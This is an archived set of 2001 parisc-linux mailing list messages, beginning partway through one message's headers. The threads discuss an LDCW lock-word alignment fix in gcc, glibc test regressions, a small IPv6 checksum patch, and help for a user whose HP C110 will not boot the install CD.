	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id HAA21981
	for parisc-linux@lists.parisc-linux.org; Thu, 25 Oct 2001 07:25:10 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12817

>
> Albert & group,
>
> I have not given up on the "loop on LDCW" problem you have found, but...
>
> It is not likely that I will have the changes ready in time for the next iso.
>
> I do have the LDCW target word being put into .o files with proper alignment,
> with or without initialization.
> I DO NOT have the change cleanly intigrated into the source.
>
> Mike

Mike,

We already use an align attribute for the lock word, so the lock word is
automatically aligned properly for global and static storage.  So the
proper alignment for global and static values should already be the case
for .o files.  The problem is that the compiler ignores the align
attribute for automatic storage (i.e. values on the stack). The only
time I saw problems after the kernel was fixed is when a ldcw was done
on a non properly aligned lockword on the stack.

Alan Modra has produced a gcc patch that should fix the problem for
automatic storage.  I'm not sure what the status of getting that patch
into the distribution is.  I sent the patch to Randolph Chung with the
hope that he could at least test the patch to make sure that it didn't
break glibc.  Once gcc is patched, a new glibc needs to be built with it,
and we have only recently made significant progress towards that goal
due to a variety of recent bug fixes.

So anyway, it is possible that the fix will be in the 0.9.3 iso, but it
is not guaranteed. The good news is that we do have a known fix, and
it is the most desirable solution of the various ones I proposed.

John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] re: new cd-images any time soon?
Date: Thu, 25 Oct 2001 09:03:29 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <01102509032901.09585@Wolf-01>
References: <200110251325.HAA21981@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620680 28866 80.91.229.3 (22 Nov 2014 01:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:40 +0000 (UTC)
To: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 08:05:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22386482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 08:05:39 -0600 (MDT)
Original-Received: from Wolf-01 (ppp137.cc1.pflash.com [63.121.24.139]) by vopserver.pflashcom
 (Vircom SMTPRS 5.0.194) with SMTP id <B0007592408@vopserver.pflashcom>;
 Thu, 25 Oct 2001 09:10:43 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <200110251325.HAA21981@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12818

On Thursday 25 October 2001 08:25 am, John Marvin wrote:
> Once gcc is patched, a new glibc needs to be built with it,
> and we have only recently made significant progress towards that goal
> due to a variety of recent bug fixes.

Great! - I'll wait to see how that impacts what I have been working on.
>
> So anyway, it is possible that the fix will be in the 0.9.3 iso, but it
> is not guaranteed. The good news is that we do have a known fix, and
> it is the most desirable solution of the various ones I proposed.
>
I was only speaking about what I have been working on being ready in time.  
Of course, having a general fix would be better than any minor tweak I could 
have come up with. 

I'll just hold off any work for now.

Mike




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Thu, 25 Oct 2001 16:07:21 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20011025160721.A17892@parcelfarce.linux.theplanet.co.uk>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au> <20011020110123.M10952@visi.net> <20011024195102.W10952@visi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620680 28868 80.91.229.3 (22 Nov 2014 01:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
To: Ben Collins <bcollins@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 09:07:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7AF2482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 09:07:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15wm6L-000566-00; Thu, 25 Oct 2001 16:07:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011024195102.W10952@visi.net>; from bcollins@debian.org on Wed, Oct 24, 2001 at 07:51:02PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12819

On Wed, Oct 24, 2001 at 07:51:02PM -0400, Ben Collins wrote:
> BTW, most of the iconv/locales tests fail in glibc on parisc.

That's a regression.  According to my whiteboard, the tests that were
failing with 2.2.3-9 were:

 dlfcn/default
 posix/globtest
 gmon/tst-sprofil
 elf/resolvfail
     constload1
     vismain
     neededtest{,2,3,4}
     lateglobal

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] re: new cd-images any time soon?
Date: Thu, 25 Oct 2001 08:31:07 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20011025083107.Z537@tausq.org>
References: <200110251325.HAA21981@udlkern.fc.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620680 28870 80.91.229.3 (22 Nov 2014 01:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 09:31:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4560482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 09:31:24 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id jcvgiaaa for parisc-linux@lists.parisc-linux.org; Thu, 25 Oct 2001 08:26:40 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15wmTL-0008Gm-00; Thu, 25 Oct 2001 08:31:07 -0700
Content-Disposition: inline
In-Reply-To: <200110251325.HAA21981@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12820

> Alan Modra has produced a gcc patch that should fix the problem for
> automatic storage.  I'm not sure what the status of getting that patch
> into the distribution is.  I sent the patch to Randolph Chung with the
> hope that he could at least test the patch to make sure that it didn't
> break glibc.

We are still having a lot of problems with toolchain/glibc, so I haven't
been able to build glibc with a patched gcc yet. On the good side I had
compiled other stuff using the patched gcc with no ill side-effects,
so.... 

I'm going to be away for a few days; I will forward the patch to
Debian's gcc maintainer for inclusion in the new gcc release. It looks
like we might have more work to do before we get a new glibc though.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Thu, 25 Oct 2001 11:50:32 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20011025115032.G10952@visi.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au> <20011020110123.M10952@visi.net> <20011024195102.W10952@visi.net> <20011025160721.A17892@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620681 28873 80.91.229.3 (22 Nov 2014 01:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 09:50:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C5B8482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 09:50:51 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15wmm8-0007cV-00; Thu, 25 Oct 2001 11:50:32 -0400
Content-Disposition: inline
In-Reply-To: <20011025160721.A17892@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12821

On Thu, Oct 25, 2001 at 04:07:21PM +0100, Matthew Wilcox wrote:
> On Wed, Oct 24, 2001 at 07:51:02PM -0400, Ben Collins wrote:
> > BTW, most of the iconv/locales tests fail in glibc on parisc.
> 
> That's a regression.  According to my whiteboard, the tests that were
> failing with 2.2.3-9 were:
> 
>  dlfcn/default
>  posix/globtest
>  gmon/tst-sprofil
>  elf/resolvfail
>      constload1
>      vismain
>      neededtest{,2,3,4}
>      lateglobal

Even with the newest gcc 3.0.2 in sid, I get those failures. Make sure
when you guys are compiling that in hppa-linux/obj/config.make, that
cross_compile isn't set to yes. For some reason, I am getting this, and
when that's set, most of the testsuite isn't run.

I do have a compiled set of packages, installed, that are working.
They'll be uploaded with 2.2.4-4.

Ben

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen+parisc-linux@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IPv6 on PA-RISC up and running :-)
Date: Thu, 25 Oct 2001 21:06:08 +0200 (CEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110252102160.1877-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620681 28875 80.91.229.3 (22 Nov 2014 01:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 13:07:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AF29482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 13:07:53 -0600 (MDT)
Original-Received: from ppp29.scram.de (ppp29.scram.de [195.226.127.222])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f9PJ7nT18294
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 21:07:49 +0200 (CEST)
X-X-Sender: <jochen@alpha.bocc.de>
Xref: news.gmane.org gmane.linux.ports.parisc:12822

Hi,

With a short patch (disabling a not-working checksum method and using a 
portable C version instead), i got IPv6 
up and running on my 720:

[root@alpha root]# ping6 3ffe:400:470:4:a00:9ff:fe17:ca3d
PING 3ffe:400:470:4:a00:9ff:fe17:ca3d(3ffe:400:470:4:a00:9ff:fe17:ca3d) from 3ffe:400:470:4::1 : 56 data bytes
64 bytes from 3ffe:400:470:4:a00:9ff:fe17:ca3d: icmp_seq=0 hops=64 time=2.391 msec
64 bytes from 3ffe:400:470:4:a00:9ff:fe17:ca3d: icmp_seq=1 hops=64 time=780 usec

Cheers,
Jochen

--- /usr/src/linux/include/asm-parisc/checksum.h.old    Thu Oct 25 
21:00:58 2001+++ /usr/src/linux/include/asm-parisc/checksum.h        Thu 
Oct 25 21:00:46 2001@@ -143,6 +143,7 @@
         return csum_fold (csum_partial(buf, len, 0));
 }

+#if 0
 #define _HAVE_ARCH_IPV6_CSUM
 static __inline__ unsigned short int csum_ipv6_magic(struct in6_addr *saddr,
                                                     struct in6_addr *daddr,
@@ -153,6 +154,7 @@
        BUG();
        return csum_fold(sum);
 }
+#endif

 /*
  *     Copy and checksum to user







From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to Boot CD on C110
Date: Thu, 25 Oct 2001 16:12:00 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <EDDF6AE3-C98C-11D5-BDE1-0030657D1C94@bigw.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620681 28878 80.91.229.3 (22 Nov 2014 01:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 15:12:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22F19482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 15:12:02 -0600 (MDT)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id QAA22004
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 16:06:54 -0500
X-Mailer: Apple Mail (2.472)
Xref: news.gmane.org gmane.linux.ports.parisc:12823

I've got a C110...  I picked up the .9 ISO and burned it with EasyCD 
Creator on a Win2k box (I know, I know, but no access to a linux box 
right now, I'm running FreeBSD and it doesn't have a burner).  Popped it 
in and it won't boot.  Too bad the firmware doesn't see the SCSI CD 
either, when SEArching on bootup.  Both the fixed disks in the unit have 
been wiped, so I have no OS to start from.

SCSI CD is ID 2, but what bus is it on?  The only one I can find 
mentioned is 'core.FWSCSI'.  Trying to 'boot SESCSI.2' doesn't work.  
When I try to boot 'boot core.FWSCSI.2.0'  (the CD as far as I can 
guess) it asks about the interactive thing, I type 'y', then it says 
that it failed to boot and spits out a bunch of numbers onscreen.  Oh, 
when the CD is in the CD drive, the access light on the CD flashes on 
and off steadily, like its being read every second or so, even when the 
machine is doing nothing with it.  Happens when the CD drive is in an 
external box connected to the SE SCSI port on the back too.  Happens on 
the internal 50 pin SE bus as well.

The README-ISO for the boot CD mentions:
 >    After the ISO image is mastered, but before you burn any CDs,
 >    change to this directory and run 'palo -f iso.conf'.  The name
 >    of the ISO image is inside the .conf file and you'll probably
 >    have to change that.
 >    The ISO image is now bootable.  Burn and boot it.

However, I don't have linux anywhere and can't run palo -f iso.conf from 
anything, much less anything with a CD burner.  Is there any way that I 
can make this CD bootable or coax the  machine into booting the raw ISO 
I burned?  Preferably using a Win2k box.  I did a direct burn from ISO 
in EasyCD Creator and it reads fine from any computer I throw it in, 
just doesn't boot on my C110...  Any help greatly appreciated, thanks,

Dan





From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to Boot CD on C110
Date: Thu, 25 Oct 2001 17:03:57 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110251652370.4601-100000@ipsbu-1.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620682 28881 80.91.229.3 (22 Nov 2014 01:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:42 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <dan@bigw.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 18:04:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19016482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 18:04:00 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f9Q043U04171;
	Thu, 25 Oct 2001 17:04:03 -0700 (PDT)
Original-Received: from [172.23.27.59] ([172.23.27.59])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABF71359;
	Thu, 25 Oct 2001 17:03:57 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12824

Dan,

I assume the CD drive is a 'normal' drive (50 pin SE), not something
exotic like a wide SCSI.

The correct device would be core.SCSI.2.0, however it's strange that
SEArch doesn't even see it. The ID needs to be unique across both the SE
and the FW SCSI. Did you double-check the termination ? The C110 I have
here does have term's on the internal cable, which is different from the
usual PC.

What brand is the CD drive, and does it work on a different machine ?

Anyhow, the fun begins *after* the installation, there seems to be some
issues with the FW SCSI that haven't been sorted out yet. I have severely
corrupted fs within less than an hour.... files with 0x0s amidst the text
e.g.

	Christian




From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to Boot CD on C110
Date: Thu, 25 Oct 2001 22:43:39 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <200110260443.WAA05273@puffin.external.hp.com>
References: <csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620682 28883 80.91.229.3 (22 Nov 2014 01:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:42 +0000 (UTC)
Cc: dan@bigw.org, parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 22:47:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4F94482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 22:47:33 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA05273;
	Thu, 25 Oct 2001 22:43:39 -0600
In-Reply-To: Message from Christian Suder <csuder@cisco.com> 
   of "Thu, 25 Oct 2001 17:03:57 PDT." <Pine.LNX.4.33.0110251652370.4601-100000@ipsbu-1.cisco.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12825

Christian Suder wrote:
> I assume the CD drive is a 'normal' drive (50 pin SE), not something
> exotic like a wide SCSI.

It is.
HP didn't ship IDE optical drives on parisc until C3000 workstations.
All internal CD-ROMs before were SE SCSI.

> The correct device would be core.SCSI.2.0, however it's strange that
> SEArch doesn't even see it. The ID needs to be unique across both the SE
> and the FW SCSI.

That's wrong. The ID is local to each SCSI bus.
Ie ID on SE SCSI are in a seperate address space from FWD SCSI.

grant



From - Thu Nov 08 21:20:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to Boot CD on C110
Date: Thu, 25 Oct 2001 22:53:16 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200110260453.WAA05297@puffin.external.hp.com>
References: <dan@bigw.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620682 28884 80.91.229.3 (22 Nov 2014 01:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Williams <dan@bigw.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 22:56:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1B8B482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 22:56:57 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA05297;
	Thu, 25 Oct 2001 22:53:16 -0600
In-Reply-To: Message from Daniel Williams <dan@bigw.org> 
   of "Thu, 25 Oct 2001 16:12:00 CDT." <EDDF6AE3-C98C-11D5-BDE1-0030657D1C94@bigw.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12826

Daniel Williams wrote:
> I've got a C110...  I picked up the .9 ISO and burned it with EasyCD 
> Creator on a Win2k box (I know, I know, but no access to a linux box 
> right now, I'm running FreeBSD and it doesn't have a burner).  Popped it 
> in and it won't boot.

Uhm...I tried the same trick for IA64 Debian ISO and it didn't work either.
I should have looked in the parisc-linux mail archives before
since folks have described how to do it right. Anyway, I found a CD-writer
on a linux box and ended up using cdrecord.

> Too bad the firmware doesn't see the SCSI CD 
> either, when SEArching on bootup.

"Sea" should see the CD-ROM. Very likely it's not properly
connected or has the option jumpers set wrong for PDC.

> SCSI CD is ID 2, but what bus is it on?

When it's working right, "sea" should tell you regardless of
whether it has a CD installed or not (I think).

grant



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to Boot CD on C110
Date: Thu, 25 Oct 2001 22:11:29 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <3BD8F081.B3F6EE8F@cisco.com>
References: <200110260443.WAA05273@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620682 28886 80.91.229.3 (22 Nov 2014 01:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:42 +0000 (UTC)
Cc: dan@bigw.org, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 23:12:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 385F5482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 23:12:00 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f9Q5Bwk01132;
	Thu, 25 Oct 2001 22:11:58 -0700 (PDT)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABF75512;
	Thu, 25 Oct 2001 22:11:57 -0700 (PDT)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-2 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12827

Grant Grundler wrote:

> 
> > The correct device would be core.SCSI.2.0, however it's strange that
> > SEArch doesn't even see it. The ID needs to be unique across both the SE
> > and the FW SCSI.
> 
> That's wrong. The ID is local to each SCSI bus.
